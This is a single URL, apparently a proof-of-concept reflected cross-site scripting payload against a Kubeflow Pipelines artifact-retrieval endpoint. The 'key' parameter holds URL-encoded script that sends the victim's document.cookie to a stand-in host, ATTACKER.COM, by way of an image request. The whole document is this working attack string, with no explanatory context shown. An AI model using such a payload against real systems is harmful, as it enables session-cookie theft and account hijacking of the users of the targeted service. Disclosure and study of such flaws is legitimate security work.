http://vulnerableKubeflowServer.com/pipeline/artifacts/get?source=s3&namespace \
=kubeflow-user-example-com&peek=256&bucket=mlpipeline&key=<script>var%2Bi%3Dnew \
Image%3Bi.src%3D"http%3A%2F%2FATTACKER.COM%2F%3F"%2Bdocument.cookie%3B<%2Fscript>